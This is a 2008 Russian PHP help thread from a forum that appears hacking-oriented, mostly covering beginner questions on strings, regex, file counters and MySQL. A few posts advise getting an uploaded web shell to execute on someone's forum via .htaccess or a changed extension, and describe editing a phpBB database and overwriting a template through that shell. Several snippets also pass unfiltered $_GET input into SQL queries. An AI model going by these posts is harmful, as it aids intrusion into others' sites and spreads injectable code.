echo "True";
} else {
echo "False";
}
не вижу смысла закругленных скоб
if($CASH)
echo "True";
else
echo "False";
не вижу смысла закругленных скоб
Не вижу смысла конструкции if else ))
echo $cash ? "true" : "false";
Не вижу смысла конструкции if else ))
echo $cash ? "true" : "false";
одно и тоже по сути.Просто сокращение,зато if/else читабельнее
не вижу смысла закругленных скоб
у тебя плохой стиль программирования =\
Не вижу смысла конструкции if else ))
извращенец. после этого хрен что разберёш.... особоенно в больших скриптах
.:EnoT:.
31.08.2008, 02:52
Не вижу смысла конструкции if else ))
echo $cash ? "true" : "false";
не вижу смысла использовать двойные кавычки :D
echo $cash ? 'true' : 'false';
не вижу смысла использовать двойные кавычки :D
echo $cash ? 'true' : 'false';
не вижу смысла ставить пробелы :p
echo$cash?'true':'false';
Пфф, ну тогда уж:
var_export($cash);
<?php
for($i=1;$i<10;$i++)
{
$text="пиписки";
$ht=$i;
$str=(string) $ht;
$string=$str+$text;
echo("$string\n");
}
?>
нужно что бы число из цикла($i) преобразовывалось в string и соединялось с текстом($text)
код выводит 1 2 3 4 5 6 7 8 9
з. ы. главное что бы именно соединялось число с текстом а не выводилось
BlackSun
31.08.2008, 09:15
$text .= $text.$i;
BlackSun, можт лучше $text = $text.$i; или $text .= $i; ?
$text .= $i;
тк кк используется меньше символов ..
Можно пример безопасной авторизации на php с помощью сессий или http где
$login
$pass
логин и пароль
<?php
session_start();
$login = "z";
$password = "z";
if ($_POST['login'] == $login and $_POST['password'] == $password) {
$_SESSION['auth'] = TRUE;
exit();
} elseif ($_SESSION['auth']) {
die('то что после авторизации');
}
?>
<form action="" method="POST">
login: <input type="text" name="login"><br>
password: <input type="password" name="password"><br>
<input type="submit" name="Enter">
</form>
159932 Смысл понятен. На как быть если после входа нада воспользоваться инклудом или тут же вывести php и html страницу вместо
die('то что после авторизации');
Пробывал, непомогает
@include ' ';
die('то что после авторизации');
а ты @ убери и посмотри пишет ли ошибку ..
а ты @ убери и посмотри пишет ли ошибку ..
пустая страница выводится
пустая страница выводится
значит или у тебя вывод ошибок выключен, или инклуд произошёл :p
значит или у тебя вывод ошибок выключен, или инклуд произошёл :p
что это может быть? в подгружаемом файле ничего же ненадао прописывать?
что это может быть? в подгружаемом файле ничего же ненадао прописывать?
ну мало ли .. смотря что тебе нужно :p
Есть строка
$tratra=true;
Когда читаеш true в форме то появляется цифра 1 и при сохранении сохраняется 1.
Как можно сделать чтобы true и false так и показывались?
.:EnoT:.
31.08.2008, 18:19
Есть строка
$tratra=true;
Когда читаеш true в форме то появляется цифра 1 и при сохранении сохраняется 1.
Как можно сделать чтобы true и false так и показывались?
Ну я думаю так:
<?php
$a = true;
$form = $a ? 'true' : 'false';
echo '<textarea name="name">'.$form.'</textarea>';
?>
$tratra = 'true';
:))
Смысл твоего поста? У меня все вернО!
$a = true;
$form = $a ? 'true' : 'false';
echo '<textarea name="name">'.$form.'</textarea>';
Когда же вы перейдете на Dell? (c) Реклама )
Пешы var_export ))
Есть строка
$tratra=true;
Когда читаеш true в форме то появляется цифра 1 и при сохранении сохраняется 1.
Как можно сделать чтобы true и false так и показывались?
Для этого существует булев тип php.net/boolean
<?php
var_dump((bool) "false"); // bool(true)
?>
вопросик, мне нужно в курсовике, изменить херову гору знаков, в ручную пол дня займет наверное, нужно из
00:26:10640
сделать
00:26:10,640
а цифры везде разные...можно ли как нибуть сделать, чтобы ставилась запятая после второго : и двух знаков??
=(
юзай PCRE с их регялрными выражениями.
<?php
$string = "твоя огромная строка";
$pattern = "/тут шаблон поиска/";
$replacement = "тут шаблон замен";
echo preg_replace($pattern, $replacement, $string);
?>
шаблон для поика чтото типа
2 цифры двоеточие 2 цифры двоеточие 2 цифры потом в выборку взять оставшие цифры и заменить их на ,эти цифры.
Сори времяни нет писать на pcre
спасиб слэш, но ты представь, в файле 100000 строк, и мне их обрамлять внутрь $string...даже если не взорвется, то форматирование пропадет...
дык $f=file('filename.ext');
и теперь у тя в $f массив
а там уже как хошь так и обращайся к нему
for ($x=0;$x<count($f);$x++)
{
$st=$f[$x];
}
криво, но алгоритм думаю будет понятен
Ну еще смотря какой у тя формат файла.
перегони в html или чтото подобное чтобы форматирование непотерять. ;)
да вот с форматом конечн тож косяк, ща ченить придумаю
блин косяк в том что, если по твоей схеме, то он ищет же и изменяет именно то что в шаблоне стоит...а цифры то неповтараются
Dr.Frank
01.09.2008, 14:51
$pattern = "/[0-9]+/";
XopoIII:
<?
//00:26:10640 >> 00:26:10,640
$f=file("input.txt");
$s="";
for ($i=0;$<count($f);$i++)
{
$a=explode(":",$f[$i]); //a[0]=00, a[1]=26, a[2]=10640
$s.=$a[0].":".$a[1].substr($a[2],0,2).",".substr($a[2],3,999)."\r\n";
}
echo $s;
$open=fopen("output.txt","w");
fwrite($open,$s);
fclose($open);
?>
пробуй..
в input.txt входние данние..
в output.txt вИходние данние..
Red_Red1
01.09.2008, 14:58
2 XopoIII
Какой, все же, формат файла?
Если пишешь курсач в WORDе то можно юзать стандартную замену.
Т.е. Правка-Заменить-Больше-Специальный
Маска для поиска ^#^#:^#^#:^#^#
Маска для замены ^&,
где ^# - любая цыфра
^& - искомое выражение
Но есть небольшой косячок поменяет так же и записи вида 24:03:06 т.е. с ДВУМЯ цыфрами в конце.
.:EnoT:.
01.09.2008, 16:43
Лучше регуляркой имхо. Вот с форматом файла хз, потеряется ли форматирование после замены или нет..
Для твоего случая я бы такую регулярку сделал
<?php
$str = '00:26:10640
00:26:10753
00:23:10457
00:20:10156
00:22:10964
00:21:10056
';
$out = preg_replace('#(\d{2}):(\d{2}):(\d{2})(\d{3})#', '\\1:\\2:\\3,\\4', $str);
echo '<pre>'.$out;
?>
Это как пример. Соответственно вначале открываешь нужный файл, потом регуляркой меняешь и записываешь в новый файл (или перезаписываешь старый)
можт у кого завалялся конвертер из png в jpg
ну или хотябы уменьшение качества изображения
для уменьшения веса картинки ..
BlackSun
02.09.2008, 15:25
можт у кого завалялся конвертер из png в jpg
ну или хотябы уменьшение качества изображения
для уменьшения веса картинки ..
Нарыл для перла:
http://webscript.ru/stories/02/11/11/9439190
Для питона:
http://www.akehrer.com/wiki/code:png2jpg
Пхп (только надо доработать):
http://www.epresenterplus.com/kb/doku.php?id=loading_gif_png&
MagickWand For PHP
Manual
http://www.magickwand.org/
Для граффики на пхп - в самый раз
http://www.evolt.org/article/PHP_frontend_to_ImageMagick/17/55650/
сам нашёл ..
<?
$im = imagecreatefrompng('cap.png');
imagejpeg($im,'C:\\w\\htdocs\\i.jpg');
?>
max_rebel
02.09.2008, 23:18
Ламерский вопрос про массивы:
есть такой код
<?php /* первый способ создания массивов */ $name[0] = "огурец"; $name[1] = "помидор"; $name[2] = "баклажан"; $name[3] = "капуста"; $name[4] = "банан"; echo $name[2]; if ($name[4]==банан) { echo "<br/>банан это не овощ"; }
как сделать так, чтоб если $name[] (которая сразу после массива идёт) равна банану,выводилось бы сообщение о том что банан это не овощ? Сечас сообщение выводиться в влюбом случае, а надо чтоб оно выводилось только если $name после массива равна банану
max_rebel
03.09.2008, 01:07
нет=(А что такое error_reporting(0) ; ? Всё равно сообщение
{ echo "<br/>банан это не овощ"; }
видно постоянно,а надо чтоб оно появлялось только если выбран банан
error_reporting устанавливает уровень оповещения об ошибках и предупреждениях. Если установить error_reporting(0), сообщения об ошибках и предупреждения выводится не будут.
<?php /* первый способ создания массивов */
$name = array("огурец", "помидор", "баклажан", "капуста", "банан");
$ovosh=$name[4];
if ($ovosh=="банан") { echo "<br/>банан это не овощ"; } else {echo $ovosh;}
?>
max_rebel
03.09.2008, 11:17
ага спасибо большое - вот до этого я и не мог додуматься=(
залил шел на форум, но при загрузке скрипта, выдается тупо полный код...как можно обойти?
XopoIII, отключена обработка PHP в папке, в которую заливал. Варианты - залить в ту же папку нормальный .htaccess / залить шелл с другим расширением
Как написать счетчик "сколько раз использовался скрипт"... чета никак допереть не могу..
Если коротко и без лишних заморочек =)
<?php
$counter=(file_get_contents("count"));
$counter++;
$fh=fopen("count", "w");
fwrite($fh, $counter);
fclose($fh);
?>
обзываем это дело как counter.php создаем рядом файл count и записываем в него 0 (или любое число для начала отсчета). Инклюдим его в своем скрипте и собственно все =)
<?file_put_contents("count",file_get_contents("count")++)?>
echo file_get_contents('./file.txt');
Всем привет!
Помогите с функцией
есть файл text.txt
такого вида
man1=1
man2=1
man3=0
man4=1
......
нужно проверять где 1 и 0 и возращать в случае 1 ответ 1 в случае 0 ответ 0
ну или как то так =)
куда возвращать то?
$text = file("text.txt");
for($i=0; $i < count($text); $i++) {
list($first[], $two[]) = explode("=", $text[$i]);
}
print_r($two);
еще можешь заюзать parse_ini_file()
max_rebel
03.09.2008, 17:08
в php не силен. нужнен код :
php-страница + txt файл. в одной папке. Страница отображает содержимое txt файла.
Напишите, плз. Очень нужно.
сделай через ssi
напиши в странице page.html :
<!--#include file="file.txt" -->
это тоже самое что на php include() Если php не учишь - то почитай про SSI - это php для бедных,можно делать всякие простенькие команды типа определить браузер,вывести часы на страницу и т.п.
Dr.Frank
03.09.2008, 17:14
2UnPazz
<?php
$t=file_get_contents("file.txt");
echo $t;
?>
пытаюсь через шелл phpbb, поменять содержимое поста в бд, но **** кодировка получается ?????????????????? ????? ?????????
пробовал добавлять
mysql_query("set character_set_client='UTF-8'");
mysql_query ("set character_set_results='UTF-8'");
с разными кодировками...одно и тоже...что еще можно придумать чтоб кодировка выводилась и заносилась нормальная? кодировка на сервере должна быть UTF-8 но хз
пытаюсь через шелл phpbb, поменять содержимое поста в бд, но **** кодировка получается ?????????????????? ????? ?????????
пробовал добавлять
mysql_query("set character_set_client='UTF-8'");
mysql_query ("set character_set_results='UTF-8'");
с разными кодировками...одно и тоже...что еще можно придумать чтоб кодировка выводилась и заносилась нормальная? кодировка на сервере должна быть UTF-8 но хз
проблему с кодировками на phpbb лечил так:
в корне создаёшь файл .htaccess с содержимым
CharsetDisable On
CharsetDefault UTF-8
CharsetSourceEnc UTF-8
попробуй через iconv() прогонять данные перез загрузкой/выводом
http://ru2.php.net/manual/ru/function.tempnam.php
http://ru.php.net/manual/ru/function.move-uploaded-file.php
http://ru2.php.net/manual/ru/function.ftp-put.php
примерно так
<form enctype="multipart/form-data" method=post>
<input type=file name=userfile><input type=submit value="Go">
</form>
<?
$fcon=ftp_connect("сервер");
ftp_login($fcon,"login","pass");
ftp_put($fcon,"имя_на_фтп",$_FILES['userfile']['tmp_name'],FTP_ASCII);
ftp_close($fcon);
?>
Столкнулся с такой проблемой - нажимаю на ссылку открывается новое окно в котором адресуную строку редактировать нельзя. Оо Как решить? И что это?
GreenBear
03.09.2008, 20:18
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm
сделано с помощью ява скрипт. решить - зайти через оперу. у нее не скроется.
Кубик Рубик
03.09.2008, 20:28
Привет! У меня возникла проблема с выводом данных из таблицы :confused:
//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
print "$result";
Мне выводит Resource id #3 .
Как мне сделать так чтобы из таблицы pages, выходил заголовок, а потом текст страницы?
Это мой первый опыт. Заранее спасибо! :rolleyes:
//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
$row = mysql_fetch_assoc($result);
print_r($row);
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm
Очень позновательно, спасибо.
сделано с помощью ява скрипт. решить - зайти через оперу. у нее не скроется.
В неком смысле помогло, теперь другой вопрос:
На экране вижу текст, но открыв "Исходный код страницы" ничего кроме Яваскрипта не вижу... А текст этот мне нужно выдрать исходным кодом... Что делать?
Кубик Рубик
03.09.2008, 20:54
//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
$row = mysql_fetch_assoc($result);
print_r($row);
Мне вывдоит : Array ( [name] => pagename [content] => about page, this page the best. )
Скажу так, как мне сделать чтобы по запросу через GET index.php?page=имя страницы(name) , на странице выводились данные соответствующие имени (page). :confused:
тада надо уж while($row = mysql_fetch_assoc($result)) echo $row['name'].$row['content'];
Мне вывдоит : Array ( [name] => pagename [content] => about page, this page the best. )
значит у тя это в бд
Кубик Рубик
03.09.2008, 21:07
ааа все понял, спасибо))
http://vvz.nw.ru/Lessons/JavaScript/Objects/window/window_open.htm
Очень позновательно, спасибо.
сделано с помощью ява скрипт. решить - зайти через оперу. у нее не скроется.
В неком смысле помогло, теперь другой вопрос:
На экране вижу текст, но открыв "Исходный код страницы" ничего кроме Яваскрипта не вижу... А текст этот мне нужно выдрать исходным кодом... Что делать?
посмотри каким способом яваскрипт берет данные и попробуй повторить..
ЗЫ дай ссылку или дай яваскрипт
как залить файл на серв через шелл?
пробую так:
$text='<br> bla laa';
$edit_file = "/home/admin/domains/public_html/forum/templates/newSilver/left_menu.tpl";
$fp=fopen("$edit_file", "w");
fwrite($fp,"$text");
fclose($fp);
ошибку на $text кричит=( или мож укого етсь котовые скрипти для аплода и замены файлов
[x26]VOLAND
04.09.2008, 02:29
1. Зачем переменные в кавычки заключать ("$edit_file" и "$text")? О_о
2. Проверь права на файл.
Возможно ли написать на php или на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна браузера в котором открыта страница?
Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)
на пхп точно нет .. а на жабе можно ..
на пхп точно нет .. а на жабе можно ..
Тогда мне стоит ещё и в раздел java написать...
В пока повоторюсь:
Возможно ли написать на php или на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна браузера в котором открыта страница?
Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)
Зачем повторяться если ответ уже дали, нет.
Насколько я помню, Js имеет доступ только к текущему окну и не более того.
[x26]VOLAND
04.09.2008, 14:01
Возможно ли написать на php или на Java скрипт, который бы с задержкой в N сек. собирал весь текст из окна браузера в котором открыта страница?
Т.е. в одном браузере работает сам скрипт, а во втором браузере постоянно обновляется информация которую этот скрипт должен собирать (тупо копировать, как если сейчас сделать Ctrl+a и Ctrl+c)Из первого окна с помощью JS копируешь весь текст с периодом N и отправляешь его AJAX'ом на удалённый php-скрипт, который записывает полученный текст в файл. Во втором окне задаёшь период обновления страницы из той, что сохранена на удалённом сайте.
Кубик Рубик
04.09.2008, 16:21
Привет. Составлю вопрос в виде задачи:
Есть php-код, который грузит страничку из mysql сервера.
//1
$host = "localhost";
$user = "root";
$pass = "password";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$result = mysql_query("SELECT name, content FROM pages");
$row = mysql_fetch_assoc($result);
echo $row['content'];
Так выглядит структура таблицы:
http://i044.radikal.ru/0809/8c/6627f64fd667.jpg
По умолчанию грузится первое, тоесть about
Вопрос: Как сделать доступными все записи из базы через GET запрос, например набрав index.php?page=qwerty на странице отображалось this is qwerty ну и т.д.
Заранее спасибо.
$name=фильтрация $_GET['page'];
$result = mysql_query("SELECT content FROM pages WHERE name=".$name);
echo $result;
VOLAND']Из первого окна с помощью JS копируешь весь текст с периодом N и отправляешь его AJAX'ом на удалённый php-скрипт, который записывает полученный текст в файл. Во втором окне задаёшь период обновления страницы из той, что сохранена на удалённом сайте.
Алгоритм мне понятен, кто-нибдуь накидать что-то подобное может?
Кубик Рубик
04.09.2008, 16:59
<?php
//1
$host = "localhost";
$user = "root";
$pass = "vertrigo";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$name=$_GET['page'];
$result = mysql_query("SELECT content FROM pages WHERE name=".$name);
echo $result;
?>
Че то ничего не выходит. даже при ?page=имя
[x26]VOLAND
04.09.2008, 17:03
Че то ничего не выходит. даже при ?page=имя
<?php
//1
$host = "localhost";
$user = "root";
$pass = "vertrigo";
$db = "test";
//2
$mysqlconnect = @mysql_connect($host,$user,$pass);
if (!$mysqlconnect){die("<font color=\"red\">data base error!</font>");}
mysql_select_db($db,$mysqlconnect);
//3
$name=$_GET['page'];
$result = mysql_query("SELECT content FROM pages WHERE name='".$name."'");
$row = mysql_fetch_assoc($result);
echo $row['content'];
?>
Фильтрацию $name не забудь
Кубик Рубик
04.09.2008, 17:36
Так сойдет?
if (!preg_match([^a-zA-Z],$page))
{
echo "error!";
}
ну или с помощью htmlentities() ?
Кубик Рубик
04.09.2008, 17:37
$name=htmlentities($_GET['page']);
<?php $per = file_get_contents('links.txt'); echo "<html><head><meta http-equiv='refresh' content='0; URL=".$per[array_rand($per)]."'></head></html>"; ?>
стянул в соседней теме, почиму не пашит?
GreenBear
05.09.2008, 01:26
потому что пер нихуя не аррей, замени file_get_contents на file
если я правильно понял что ты хочешь то надо заменить строчку
echo "<html><head><meta http-equiv='refresh' content='0; URL=".$per[array_rand($per)]."'></head></html>";
на
echo "<html><head><meta http-equiv='refresh' content='0; URL=".array_rand($per)."'></head></html>";
GreenBear
05.09.2008, 01:33
это не правильно
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot